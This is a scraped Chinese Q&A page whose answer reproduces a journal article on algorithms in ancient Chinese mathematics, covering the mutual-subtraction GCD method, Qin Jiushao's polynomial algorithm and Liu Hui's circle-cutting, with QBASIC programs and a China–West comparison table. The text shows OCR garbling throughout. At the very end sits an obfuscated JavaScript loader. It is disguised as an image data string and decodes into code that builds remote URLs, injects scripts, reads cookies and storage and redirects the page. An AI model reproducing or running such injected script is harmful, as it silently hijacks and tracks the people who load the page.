求3000字有关数学史的论文

2024-12-10 02:30:58
推荐回答(1个)
回答1:

从算法教学管窥中国古代数学史
俞 昕
( 浙江湖州市第二中学 313000)
关于算法的涵义, 人们有着不同的界定. 普
通高中数学课程标准( 实验) 在学生算法目标达
成度上,重在算法思想的理解与应用,界定现代算
法的意义就是解决某一类问题的办法. 确切地说,
就是对于某一类特定的问题,算法给出了解决问
题的一系列(有穷) 操作, 即每一操作都有它的确
定性的意义( 使计算机能够按照它的指令工作) ,
并在有限时间( 有穷步骤)内计算出结果.
普通高中数学课程标准( 实验) 对! 算法部
分∀进行说明时,突出强调! 需要特别指出的是, 中
国古代数学中蕴涵了丰富的算法思想∀. 吴文俊
先生曾经说过! 我们崇拜中国传统数学,决非泥古
迷古、 为古而古. 复古是没有出路的. 我们的目的
不仅是要显示中国古算的真实面貌, 也不仅是为
了破除对西算的盲从,端正对中算的认识,我们主
要的也是真正的目的, 是在于古为今用. ∀算法教
学中蕴涵着丰富的数学史教育价值, 作为新时代
的高中数学教师是有必要了解这一点的.
1 中国古代数学的特点
古代数学思想分为两大体系, 一个是以欧几
里得的几何原本 为代表的西方数学思想体系,
这个体系以公理化的思想、 抽象化的方法、 封闭的
演绎体系为特色. 另一个则是以我国的九章算
术 为代表的东方数学思想体系,这个体系以算法
化的思想、 构造性的方法、 开放的归纳体系为特
色.我国传统数学在从问题出发,以解决问题为主
旨的发展过程中, 建立了以构造性与机械化为其
特色的算法体系, 这与西方数学以欧几里得几何
原本 为代表的所谓公理化演绎体系正好遥遥
相对.
中国古代数学中的! 术∀相当于现代数学术语
中的! 公式∀,两者虽有相同点(都可以用来解决一
类有关问题) , 其差异也非常之大. 主要表现在,
! 公式∀只提供了几个有关的量之间的关系, 指明
通过哪些运算可由已知量求出未知量,但并没有
列出具体的运算程序,一般地,认为这种程序是已
知的了. 但! 术∀则由怎样运算的详细程序构成的,
可以说它是为完成公式所指出的各种运算的具体
程序,即把! 公式∀展开为使用某种计算工具的具
体操作步骤. 从这点看, ! 术∀正是现代意义上的算
法, 是用一套! 程序语言∀所描写的程序化算法,可
以照搬到现代计算机上去. 我国古代数学包括了
今天初等数学中的算术、 代数、 集合和三角等多方
面的内容.由于受实用价值观的影响, 中国传统数
学的研究遵循着一种算法化思想,这种思想从九
章算术 开始一直是中国古代数学著作大都沿袭
的模式:
实际问题# # # 归类# # # 筹式模型化# # # 程序化算法
即将社会生产生活中的问题,先编成应用问题,按
问题性质分类, 然后概括地近似地表述出一种数
学模型, 借助于算筹, 得到这一类问题的一般解
法. 把算法综合起来, 得到一般原理, 分别隶属于
各章,人们按照书中的方法、 原理和实例来解决各
种实际问题. 可以说,中国传统数学以确定算法为
基本内容,又以创造和改进算法为其发展的方向.
受九章算术 的影响,在之后的几个世纪,一
些数学家的著作都以算法为主要特点,包括王孝
通的辑古算经 、 贾宪的黄帝九章算法细草 、 刘
益的议古根源 、 秦九韶的数书九章 、 李冶的
测圆海镜 和益古演段 、 杨辉的详解九章算
法 、 日用算法 和杨辉算法 , 这些著作中包括
了增乘开方术、 贾宪三角、 高次方程数值解法、 内
插法、 一次同余式组解法等一些著名的算法,进一
步发展了中国古代数学算法化的特点,使得算法
的特点得到了进一步的强化和发展.
1 1 中国古代数学的算法化思想
算法化的思想是中国古代数学的重要特点,
并贯穿于中国古算整个发展过程之中.即使是与
24 数学通报 2010 年 第49 卷 第2 期图形有关的几何问题也不例外,中算家们将几何
方法与算法有机地结合起来,实现了几何问题的
算法化.这样,从问题出发建立程序化的算法一直
是古代中国数学研究的传统,也是中算家们努力
的方向.这种算法化的思想着重构造实践,更强调
! 经验∀、 ! 发现∀和构造性思维方式下从无到有的
发明,对今天的算法教学与研究具有重要的启迪
作用.
中国古代数学算法化的思想具体表现如下:
第一步,把实际中提出的各种问题转化为数学模
型;第二步,把各种数学模型转化为代数方程; 第
三步,把代数方程转化为一种程序化的算法; 第四
步,设计( 并逐步改进)、 归纳、 推导(寓推理于算法
之中)出各种算法; 第五步,通过计算回溯逐步达
到解决原来的问题.
1 2 中国古代数学的构造性方法
所谓构造性方法是解决数学问题的一种方
法,是创造性思维方式直接作用的结果.按照现代
直觉主义者,特别是构造主义者的观点,对于一个
数学对象,只有当它可以通过有限次的操作而获
得,并且在每步操作之后都能有效地确定下一步
所需要采取的操作, 才能说它是存在的.按照这种
思维方式,可以使概念和方法按固定的方式在有
限步骤内进行定义或得以实施,或给出一个行之
有效的过程使之在有限步骤内将结果确定地构造
出来.换言之,就是能用有限的手段刻画数学对象
并针对问题提出具体的解法.
中国古代数学的算法化思想与构造性的方法
紧密相连.由于古代中算家所关心的大多是较为
实用的问题,他们在解决问题时首先考虑是如何
得到可以直接应用的、 可以方便操作的解,而不会
满足于仅仅知道解在理论上的存在性. 因为这种
纯粹的理论解对于受实用价值观影响的中算家来
说是没有多大意义的.从而我们推断,构造性方法
的产生是算法化思想直接作用的结果.
从我国许多经典算书中可以发现, 数学构造
性方法在算法中有许多精彩的体现. 例如就! 方
程∀的筹算图阵及其程序设计而言,首先, ! 群物总
杂,各列有数,总言其实∀,这是对每行中未知数的
系数和常数项的安排,其次, ! 令每行为率,二物者
再程,三物者三程,皆如物数程之∀,这是对诸行关
系的安排, ! 并列为行∀又说明了什么叫! 方程∀. 这
为中国古代数学的构造性方法提供了一个具有说
服力的样板.
由于构造性的方法特别强调运算的可操作程
度, 所以构造出的! 术∀可以通过一系列有限的运
算求出解来, 具有一般性.时至今日我国古算家所
设计的许多算法几乎都可以整套照搬到现代的电
子计算机上实现.这也是我国古算在算法上长期
居于领先地位的一个重要原因.
2 中国古代数学中的优秀算法案例
2. 1 中国古代的代数学
代数学是中国传统数学中一个值得骄傲和自
豪的领域.中小学数学中的算术、 代数内容, 从记
数以至解联立的线性方程组, 实质上都是中国古
代数学家的发明创造.结合新课程的算法教学,笔
者选取我国古代著名算法进行分析.
2. 1. 1 求最大公约数的算法(更相减损术)
中国古代数学中,未曾出现素数、 因数分解等
概念,但是发明了求两整数的最大公约数的方
法# # # 更相减损术: ! 可半者半之,不可半者,副置
分母子之数, 以少减多, 更相减损,求其等也.以等
数约之. ∀事实上此术中包含了三个步骤:
第一步, ! 可半者半之∀, 即进行观察, 若分子、
分母都是偶数,可先取其半;
第二步, ! 不可半者, 副置分母、 子之数, 以少
减多,更相减损,求其等也∀;
第三步, ! 以等数约之∀.
其中第二步! 以少减多, 更相减损∀是关键,又
是典型的机械化程序.在中国古代数学中, 将最大
公约数称作! 等∀.由于! 更相减损∀过程终可以在
有限步骤内实现, 所以它是一种构造性的方法.若
用现代语言翻译即为:第一步,任意给定两个正整
数, 判断它们是否都是偶数. 若是,用2 约减,若不
是, 执行第二步. 第二步, 以较大的数减去较小的
数, 接着把所得的差与较小的数比较, 并以大数减
小数.继续这个操作, 直到所得的数相等为止, 则
这个数( 等数)或这个数与约简的数的乘积就是所
求的最大公约数.下面运用 QBA SIC 语言来编写
相应的程序( 见程序1) .
25 2010 年 第49 卷 第2 期 数学通报程序 1
INPUT! m, n= ∀ ; m, n
IF m< n T HEN
a= m
m= n
n= a
END IF
k= 0
WHILE m MOD 2= 0 AND n MOD2= 0
m= m/ 2
n= n/ 2
k= k+ 1
WEND
d= m- n
WHILE d< > n
IF d> n TH EN
m= d
ELSE
m= n
n= d
END IF
d = m- n
WEND
d= 2 ∃ k * d
PRINT d
END
程序 2
INPUT A, B
WHILE A < > B
IF A> B T H EN
A = A- B
ELSE
B= B - A
END IF
WEND
PRINT B
END
程序 3
INPUT ! M, N (M> N )∀ ; M, N
DO
R= M- N
IF R> N TH EN
M= R
ELSE
M= N
N= R
END IF
LOOP UNTIL R= 0
PRINT M
END
程序 4
INPUT ! n= ∀ ; n
INPUT! an= ∀; a
INPUT! x= ∀ ; x
v= a
i= n- 1
WH ILE i> = 0
PRINT ! i= ∀; i
INPUT! ai= ∀ ; a
v= v * x+ a
i= i- 1
WEND
PRINT v
END
程序 2和 3 是两个简化的参考程序, 是从不
同的角度来实现更相减损的过程.
! 更相减损术∀提供了一种求两数最大公约数
的算法, 这是九章算术 的一个重要成就, 与古希
腊欧几里得的几何原本 中用来求最大公约数的
! 欧几里得算法∀, 即辗转相除法, 有异曲同工之
妙. 欧几里得在几何原本 中针对这个问题引入
了许多概念, 给出了冗长的逻辑证明. 尽管如此,
他还是暗用了一条未加说明的公理, 即如果 a, b
都被c 整除, 则a- mb也能被c 整除.中国古算采
用的! 更相减损∀方法,实际上也暗用了一条未加
说明的公理, 即若 a- b 可以被c 整除,则 a, b 都
能被c 整除. 正如刘徽在九章算术注 中! 其所以
相减者, 皆等数之重叠∀. 从形式上看! 更相减损
术∀比! 辗转相除法∀更复杂, 循环次数要比辗转相
除法多, 但对于计算机来说, 作乘除运算要比作加
减运算慢得多, 因此更相减损术在计算机上更为
好用.
26 数学通报 2010 年 第49 卷 第2 期2. 1. 2 求一元 n 次多项式值的算法(秦九韶算
法)
秦九韶,南宋著名数学家,其学术思想充分体
现在数书九章 这一光辉名著中,该著作不仅继
承了九章算术 的传统模式, 对中算的固有特点
发扬光大,而且完全符合宋元社会的历史背景, 是
中世纪世界数学史上的光辉篇章. 书中记载了! 正
负开方术∀、 ! 大衍求一术∀等著名算法.
在数书九章 卷五第 17 个问题以! 尖田求
积∀为例的算法程序中,可以看出秦九韶对于求一
元n 次多项式f ( x ) = anx
n
+ an- 1 x
n- 1
+ %+ a1x
+ a0 的值所提出的算法.秦九韶算法的特点在于
通过反复计算n 个一次多项式,逐步得到原多项
式的值. 在欧洲, 英国数学家霍纳( Horner ) 在
1819 年才创造了类似的方法, 比秦九韶晚了572
年.秦九韶算法把求f ( x ) = anx
n
+ an- 1 x
n- 1
+ %
+ a1x + a0 的 值 转 化 为 求 递 推 公 式
v0= an
vk= vk- 1x+ an- k k= 1, 2, %, n
中 v n 的值. 通
过这种转化, 把运算的次数由至多( 1+ n) n
2
次乘
法运算和n 次加法运算,减少为至多 n 次乘法运
算和n 次加法运算,大大提高了运算效率.这种算
法的QBASIC 语言程序如程序 4 所示.算法步骤
是如下的五步: 第一步, 输入多项式次数 n、 最高
次项的系数an 和x 的值;第二步,将 v 的值初始
化为a v ,将i 的值初始化为n- 1; 第三步, 输入 i
次项的系数ai ;第四步, v= v x+ ai , i= i- 1; 第五
步,判断i 是否大于或等于 0, 若是, 则返回第三
步,否则输出多项式的值v .
2. 2 中国古代的几何学
中国古代的几何学从田亩丈量等生产生活中
的一些实际问题中产生, 并为生产生活服务. 基于
传统实用价值观的影响, 中国古代的几何学并没
有发展成为像欧氏几何那样严密的公理化演绎体
系,所以中国古代几何学在整个数学史上的地位
并不突出,但在许多几何问题的处理上也突出了
算法化这一特色. 下面以! 割圆术∀为例作简要
分析.
中国古代数学家刘徽创立! 割圆术∀来求圆的
面积及其相关问题. 刘徽! 瓤而裁之∀,即对与圆周
合体的正多边形进行无穷小分割,分成无穷多个
以正多边形每边为底、 圆心为顶点的小等腰三角
形, 这无穷多个小三角形的面积之和就是圆的面
积. 这样通过对直线形的无穷小分割, 然后求其极
限状态的和的方式证明了圆的面积公式.刘徽的
算法! 割之弥细,所失弥少,割之又割, 以至于不可
割, 则与圆合体而无所失矣∀体现出程序化的过
程, 可以看出圆内接正多边形逐渐逼近圆的变化
趋势,并且刘徽依此开创了求圆周率精确近似值
的方法, 将这种极限思想用于近似计算.其中包含
有迭代过程和子程序,是一种典型的循环算法,充
分体现了程序化的特点.
中算家的几何学,并不追求逻辑论证的完美,
而是着重于实际计算问题的解决, ! 析理以辞, 解
体用图∀, 以建立解决问题的一般方法和一般原
则. 但另一方面,这种几何学又是以面积、 体积、 勾
股相似等为基本概念,以长方形面积算法、 长方形
体积算法、 相似勾股形的性质为出发点的, 整个几
何理论建立在! 出入相补原理∀等基本原理之上.
例如,由勾股定理自然地引起平方根的计算问题,
而求平方根和立方根的方法, 其步骤就是以出入
相补原理为几何背景逐步索骥而得.这方面内容
的介绍, 不仅可以丰富学生的算法知识,而且可以
通过揭示蕴藏其中的数学背景和文化内涵, 激发
学生学习算法的兴趣,体会算法在人类发展史中
的作用.
3 中国古代数学算法的教学价值
3. 1 培养正确数学观的良好平台
中国传统算法尽管与现代算法在具体形式上
差别很大,但是重要的是形式后面的认识论发展
线索可以为现代算法教学的体系、 教学层次提供
依据.它的具体数学知识载体也是现代算法教学
的重要源泉. 各种算法的创立就是创造性劳动的
产物,即是创造思维的一种! 凝固∀和! 外化∀. 其
次, 通过把一部分问题的求解归结为对于现成算
法的! 机械应用∀, 这就为人们积极地去从事新的
创造性劳动提供了更大的可能性. 从而算法化也
就意味着由一个平台向更高点的跳跃.
吴文俊先生的研究使中国传统数学的算法重
见天日, 开拓了数学机械化的新领域, 吴先生提出
! 数学教育的现代化就是机械化∀.他在研究中这
样写道: 数学问题的机械化, 就要求在运算和证明
过程中, 每前进一步之后,都有一个确定的必须选
27 2010 年 第49 卷 第2 期 数学通报择的下一步, 这样沿着一条有规律的, 刻板的道
路,一直达到结论.证明机械化的实质在于, 把通
常数学证明中所固有的质的困难,转化为计算的
量的复杂性.计算的量的复杂性在过去是人力不
可能解决的,而计算机的出现解决了这种复杂性.
吴先生的理论和实践已经表明,证明和计算是数
学的两个方面, 且又是统一的,这在数学教育中具
有重要意义.我们应当引导学生了解古人对问题
思考的角度,学会站在巨人的肩膀上,比如按照中
国古代开方术的思路就可以编造程序在现代计算
机上实现开方.
培养学生在学习数学知识的同时更多地关心
所学知识的社会意义和历史意义,力图在面向未
来的同时,通过同传统上的哲学、 历史和社会学的
思想结合起来, 形成正确的数学观.算法教学就为
此搭建了一个良好的平台, 并且承载丰富的历史
底蕴.
3. 2 渗透爱国主义教育的最佳契机
与西方相比, 中算理论具有高度概括与精练
的特征, 中算家经常将其依据的算理蕴涵于演算
的步骤之中, 起到! 不言而喻, 不证自明∀的作用,
可以认为中国传统数学乃是为建立那些在实际中
有直接应用的数学方法而构造的最为简单, 精巧
的理论建筑物. 因此, 中算理论可以说是一种! 纲
目结构∀:目是组成理论之网的眼孔;纲是联结细
目的总绳.以术为目, 以率为纲,即是依算法划分
理论单元,而用基本的数量关系把它们连结成一
个整体. 纲举目张,只有抓住贯串其中的基本理论
与原理, 才能看清算法的来龙去脉.下面是吴文俊
先生总结的! 关于算术代数部分发明创造的一张
中外对照表∀.
从算法教学管窥中国古代数学史
中国 外国
位值制十进位记 最迟在九章算术 成书时已十分成熟 印度最早在 6 世纪末才出现
分数运算 周髀算经 中已有, 在九章算术 成
书时已成熟 印度最早在 7 世纪才出现
十进位小数 刘徽注中引入, 宋秦九韶 1247年时已
通行 西欧 16 世纪时始有之, 印度无
开平方、 立方 周髀算经 中已有开平方, 九章算
术 中开平、 立方已成熟
西方在 4 世纪末始有开平方, 但还无开立方, 印度
最早在 7 世纪
算术应用 九章算术 中有各种类型的应用问题 印度 7 世纪后的数学书中有某些与中国类似的问
题与方法
正负数 九章算术 中已成熟 印度最早见于 7 世纪,西欧至 16 世纪始有之
联立一次方程组 九章算术 中已成熟 印度 7 世纪后开始有一些特殊类型的方程组, 西
方迟至 16 世纪始有之
二次方程 九章算术 中已隐含了求数值解法,
三国时有一般解求法 印度在 7 世纪后,阿拉伯在 9世纪有一般解求法
三次方程 唐初( 公元 7 世纪初) 有列方程法, 求
数值解已成熟
西欧至 16 世纪有一般解求法, 阿拉伯 10 世纪有
几何解
高次方程 宋时( 12 # 13 世纪)已有数值解法 西欧至 19 世纪初始有同样方法
联立高次方程组与消元法 元时( 14 世纪初) 已有之 西欧甚迟,估计在 19 世纪
28 数学通报 2010 年 第49 卷 第2 期3. 3 品位数学美学思想的美妙境界
中国古代数学不但具有实用性特征, 还蕴涵
着丰富的美学思想. 比如九章算术 中列方程的
方式,相当于列出其增广矩阵,其消元过程相当于
矩阵变换,而矩阵是数学美学方法中对称最典型
的表现形式之一; 九章算术 中用几何方法巧妙
地解决了很多代数问题, 这是数形结合的统一: 把
数学问题改编成歌诀,以便于掌握和传授,这是文
学艺术与数学的统一. 总之, 在算法教学中, 应努
力把握和利用自己文化传统中的积极因素进行教
学,这对数学教育的发展具有重要的意义.
参考文献
1 中学数学课程教材研究开发中心. 普通高中课程标准实验教
材书(数学) [ M] . 北京: 人民教育出版社, 2007
2 中华人民共和国教育部. 普通高中数学课程标准(实验) [ M] .
北京: 人民教育出版社, 2003
3 李文林. 数学史概论(第二版) [ M ] . 北京: 高等教育出版
社, 2002
4 王鸿钧, 孙宏安. 中国古代数学思想方法[ M] . 南京: 江苏教育
出版社, 1988
5 张维忠. 数学, 文化与数学课程[ M] . 上海: 上海教育出版
社, 1999
6 吴文俊. 吴文俊论数学机械化[ M ] . 济南: 山东教育出版
社, 1995
7 代钦. 儒家思想与中国传统数学[ M] . 北京: 商务印书馆, 2003
8 费泰生. 算法及其特征[ J] . 数学通讯, 2004, 7
9 张奠宙. 算法[ J] . 科学, 2003, 55( 2)
10 李建华. 算法及其教育价值[ J ] . 数学教育学报, 2004, 3
11 李亚玲. 算法及其学习的意义[ J ] . 数学通报, 2004, 2
(上接第23 页) 实验教师对课改实验进行探索、 总
结、 反思、 调整, 推广比较成熟的经验,同时纠正实
验过程中的偏颇与极端行为,教学过程逐步进入
新的稳定阶段.教学过程逐步过渡到以问题为主
线、 以活动为主线的! 无环节∀模式.
( 2)受不同的教学理念影响, 教师角色、 学生
角色、 教学目标、 教学过程关注点等方面, 在教学
过程中有很大差异.
教师角色 学生角色 教学目标 教学过程关注
领导者
(权威)
接 受 者
(被动)
让 学 生 掌
握 数 学 知
识技能
知识 引入, 讲 解
本质, 巩固练习
主导者
(决定)
观 察 者
(协助)
让 学 生 观
摩 数 学 产
生过程
展示 过程, 注 重
建构, 强化训练
引导者
(组织)
参 与 者
(主动)
让 学 生 参
与 探 究 数
学 生 成 过

问题 情境, 提 出
问题, 学生活动
( 3) 2004 年高中数学课程改革后, 课堂教学
发生一定的变化,广泛地进行! 创设情境∀! 提出问
题∀!引导学生探究探索∀, 出现了以! 问题主线∀、
! 活动主线∀为主的课堂, 出现了! 问题情境学生
活动建立数学运用数学同顾反思∀的整体课堂
构思.这些改变对于揭示数学的内在本质, 发展学
生的思维能力起到积极的作用.
( 4) 由于受多种因素制约(特别是高考) ,与初
中相比, 本次课改后高中数学课堂教学变化幅度
不大,近半数的课堂教学模式仍然以五环节为主.
对于课改倡导的教学理念, 只是渗透在传统的教
学模式中,目前高中数学课堂教学改革的力度、 深
度与课改的预期目标还有一定的距离.我们看到
2008 年的赛课教案的创新、 探索力度, 远没有
1990 年的名师授课录 大, 那时还没有明确提出
课改理念,但他们却进行积极的探索, 关注学生主
体. 而今天,课改的理念已经系统培训 5 年, 许多
教师仍停留在形式层面,未能变成自觉的行为.
参考文献
1 李善良. 我国数学教学设计的探索与评析# # # 兼及十年初中
数学教师说课评比活动[ J ] . 中国数学教育(初中版) , 2007, 9
2 编委会. 名师授课录(中学数学高中版) [ M] , 上海教育出版
社, 1991
3 2000 年全国首届高中青年数学教师优秀课观摩与评比的教
案(会议资料)
4 2008 年全国第四届高中青年数学教师优秀课观摩与评比的
教案(会议资料)
5 李善良. 关于数学教学中问题的设计[ J] . 高中数学教与学,
2008, 1
29 2010 年 第49 卷 第2 期 数学通报

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 